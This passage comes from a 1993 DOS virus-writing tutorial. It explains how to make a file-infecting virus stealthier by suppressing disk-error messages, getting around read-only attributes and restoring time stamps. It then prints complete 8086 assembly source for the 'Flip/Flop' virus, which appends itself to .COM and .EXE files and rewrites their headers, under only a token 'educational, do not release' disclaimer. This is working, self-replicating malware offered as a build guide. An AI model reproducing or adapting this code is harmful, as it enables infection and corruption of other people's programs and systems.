files, it's time to look at some of the "details" that we
haven't covered. Three main problems are apparent in the last
two viruses that we need to fix. The first is that there is
little or no error handling in the viruses. This can cause that
wonderful "Disk Error. Abort, Retry, or Fail?" message to appear
on a write protected disk, which is generally not desirable. The
next problem is that both viruses can be stopped by the read-only
attribute. This is not true with most viruses, nor should it be
with ours. The last is the time/date stamp. When a file is
written to and closed, DOS automatically sets the time and date
fields to whenever it was closed, causing the new host to have a
current time stamp. To avoid this, we must get the old stamp and
reset it once we are done with the infection (just before closing
the file). The next virus will still be direct-action, but it
will employ all the above techniques and have the ability to
infect both EXE and COM files. It will still remain in the
current directory to make it safer to test, but aside from that
it will be a fairly effective direct-action virus. The big
things to notice are the methods to make as much of the code
as possible usable for both .COM and .EXE infections, the
error handler, and the attribue/time/date fixes. The virus
is name the Flip/Flop because if it is attached to a COM
file, it will only infect EXE files, whereas if it is
attached to an EXE file it will only infect COM files.
; The Flip/Flop virus.
;
;This file is a direct action .COM/.EXE file infector written
;in TASM compatible 8086 assembly. It is presented as a part of
;VIROLOGY 101 (c) 1993 Black Wolf Enterprises. This is a live virus
;for educational purposes only. Please do not release it. Execute
;only on an isolated machine under controlled conditions.
;This virus also needs a four-byte stub to be attached to it after
;compilation. NOP's will work fine.
;One interesting characteristic of this virus is that if it is on
;an EXE file, it will infect .COM files, but if it is on a COM
;file, it will only search for EXE's. It will infect each
;uninfected file of whichever type chosen in the current directory
;on runtime.
.model tiny
.radix 16
.code
org 100
start:
COM_ENTRY:
call get_offset
lea si,[bp+storage_bytes] ;Restore original bytes to
mov di,100 ;host.
movsw
movsw
mov byte ptr [COM_EXE+bp],0 ;Remember host is COM file.
jmp short Main_Virus ;Go to main virus.
Enter_EXE:
push es ;Save current ES (and DS) registers
push cs cs
pop es ds ;Set ES = DS = CS
call get_offset
lea si,[Old_IP+bp]
lea di,[Save_IP+bp] ;Setup old variables for infection
movsw
movsw
movsw
movsw
mov byte ptr [COM_EXE+bp],1 ;Remember host is EXE file.
Main_Virus:
call Set_Handler
lea dx,[DTA+bp] ;Set DTA to new address
call Set_DTA
cmp byte ptr [COM_EXE+bp],1 ;If virus is on an .EXE,
jne Find_EXE ;infect COM files and
;vice-versa
Find_COM:
lea dx,[Com_mask+bp] ;Find a .COM file
jmp Find_First
Find_Exe:
lea dx,[Exe_mask+bp]
Find_First:
mov ah,4e
xor cx,cx
Find_File:
int 21
jc Outa_Files
xor ah,ah ;Get attributes into CX
lea dx,[DTA+1e+bp]
call do_attribs
mov word ptr [bp+attribs],cx ;Save attribs
xor cx,cx
mov al,1
call do_attribs ;Set attribs to normal
mov ax,3d02 ;Open file read/write
lea dx,[bp+DTA+1e]
int 21
jc Outa_Files
xchg bx,ax
mov al,0 ;Get and save time stamp
call Do_Time
mov word ptr [bp+Time],cx
mov word ptr [bp+Date],dx
mov ah,3f
mov cx,1a ;Read beginning of file
lea dx,[exe_header+bp] ;(header if .EXE)
int 21
jc Close_UP
call Check_Infected ;Is it infected?
jc Close_Up
cmp word ptr [exe_header+bp],'ZM' ;Is EXE?
je Infect_EXE ;go Infect EXE
cmp word ptr [exe_header+bp],'MZ'
je Infect_EXE
Infect_Com:
call Do_Com ;Infect COM file
jmp short Close_Up
Infect_Exe:
call Do_Exe ;Infect EXE
Close_Up:
mov al,01 ;Reset time stamp
mov cx,word ptr [bp+Time]
mov dx,word ptr [bp+Date]
call Do_Time
mov ah,3e ;Close file
int 21
mov al,01 ;Reset Attributes
mov cx,word ptr [bp+attribs]
lea dx,[DTA+1e+bp]
call Do_Attribs
mov ah,4f ;Find another file to infect...
jmp Find_File
Outa_Files:
call Reset_Handler ;Chose appropriate restore
cmp byte ptr [COM_EXE+bp],1 ;algorithm
je Restore_EXE
Restore_COM:
mov dx,80
call Set_DTA ;Reset DTA
mov di,100 ;jump 100
push di
ret
Restore_EXE:
pop es ;Restore seg registers
push es
pop ds
mov dx,80 ;Reset DTA
call Set_DTA
mov ax,es
add ax,10
add word ptr cs:[Save_CS+bp],ax
add ax,word ptr cs:[Save_SS+bp] ;Set SS:SP
;and go CS:IP
cli
mov ss,ax
mov sp,word ptr cs:[Save_SP+bp]
sti
db 0ea ;Far jump to CS:IP
Save_IP dw 0
Save_CS dw 0
Save_SS dw 0
Save_SP dw 0
Old_IP dw 0
Old_CS dw 0fff0
Old_SS dw 0fff0
Old_SP dw 0
Set_DTA:
mov ah,1a
int 21
ret
Do_attribs: ;Performs file attribute functions
mov ah,43
int 21
ret
Do_Time: ;Performs time stamp functions
mov ah,57
int 21
ret
Get_offset: ;Get diplacement of virus into BP
call next
next:
pop bp
sub bp,offset next
ret
Do_COM: ;Infect COM file
lea si,[exe_header+bp]
lea di,[storage_bytes+bp]
movsw
movsw
call Go_EOF
sub ax,3
mov word ptr [jump_bytes+1+bp],ax
call write_virus
call Go_BOF
mov ah,40
lea dx,[jump_bytes+bp] ;write in jump
mov cx,4
int 21
ret
Do_EXE:
call Save_Old_Header
call Go_EOF
push ax dx
call calculate_CSIP
pop dx ax
call calculate_size
call write_virus
call Go_BOF
mov ah,40
mov cx,1a
lea dx,[exe_header+bp] ;Write header
int 21
ret
Go_EOF: ;Go to end of file
mov ax,4202
jmp Move_FP
Go_BOF: ;Go to beginning of file
mov ax,4200
Move_FP:
xor cx,cx
xor dx,dx
int 21
ret
Write_Virus:
mov ah,40
mov cx,end_prog-start ;Append virus to file
lea dx,[bp+start]
int 21
ret
Save_Old_Header:
mov ax,word ptr [exe_header+bp+0e] ;Save old SS
mov word ptr [Old_SS+bp],ax
mov ax,word ptr [exe_header+bp+10] ;Save old SP
mov word ptr [Old_SP+bp],ax
mov ax,word ptr [exe_header+bp+14] ;Save old IP
mov word ptr [Old_IP+bp],ax
mov ax,word ptr [exe_header+bp+16] ;Save old CS
mov word ptr [Old_CS+bp],ax
ret
calculate_CSIP:
push ax
mov ax,word ptr [exe_header+bp+8] ;Get header length
mov cl,4 ;and convert it to
shl ax,cl ;bytes.
mov cx,ax
pop ax
sub ax,cx ;Subtract header
sbb dx,0 ;size from file
;size for memory
;adjustments
mov cl,0c ;Convert DX into
shl dx,cl ;segment Address
mov cl,4
push ax ;Change offset (AX) into
shr ax,cl ;segment, except for last
add dx,ax ;digit. Add to DX and
shl ax,cl ;save DX as new CS, put
pop cx ;left over into CX and
sub cx,ax ;store as the new IP.
add cx,Enter_EXE-start ;Adjust to go to EXE_Entry
mov word ptr [exe_header+bp+14],cx
mov word ptr [exe_header+bp+16],dx ;Set new CS:IP
mov word ptr [exe_header+bp+0e],dx ;Set new SS = CS
mov word ptr [exe_header+bp+10],0fffe ;Set new SP
mov byte ptr [exe_header+bp+12],'V' ;mark infection
ret
calculate_size:
push ax ;Save offset for later
add ax,end_prog-start ;Add virus size to DX:AX
adc dx,0
mov cl,7
shl dx,cl ;convert DX to pages
mov cl,9
shr ax,cl
add ax,dx
inc ax
mov word ptr [exe_header+bp+04],ax ;save # of pages
pop ax ;Get offset
mov dx,ax
shr ax,cl ;Calc remainder
shl ax,cl ;in last page
sub dx,ax
mov word ptr [exe_header+bp+02],dx ;save remainder
ret
Set_Handler:
mov ax,3524 ;Get Int 24 address
int 21 ;(Critical Error)
mov word ptr [IP_24+bp],bx
mov word ptr [CS_24+bp],es
mov ax,2524 ;Set Int 24
lea dx,[Int_24+bp]
int 21
push ds ;Restore ES
pop es
ret
Reset_Handler:
mov dx,word ptr cs:[CS_24+bp]
mov ds,dx
mov dx, word ptr cs:[IP_24+bp]
mov ax,2524 ;Reset handler to old one
int 21
push es ;restore DS.
pop ds
ret
Int_24: ;Return error code in al without
mov al,3 ;printing annoying message
iret
Check_Infected:
cmp byte ptr [exe_header+bp+3],'V' ;check .COM infected
je Is_Infected
cmp byte ptr [exe_header+bp+12],'V' ;check .EXE
je Is_Infected ;infected
clc
ret
Is_Infected:
stc
ret
Exe_mask db '*.EXE',0
Com_mask db '*.COM',0
jump_bytes db 0e9,0,0,'V' ;jump for COM's with ID
storage_bytes: ;Initial storage bytes
nop
nop
int 20
COM_EXE db 0 ;0 = COM, 1 = EXE
end_prog:
Time dw ?
Date dw ?
attribs dw ?
IP_24 dw ?
CS_24 dw ?
exe_header db 1a dup(?)
DTA:
end start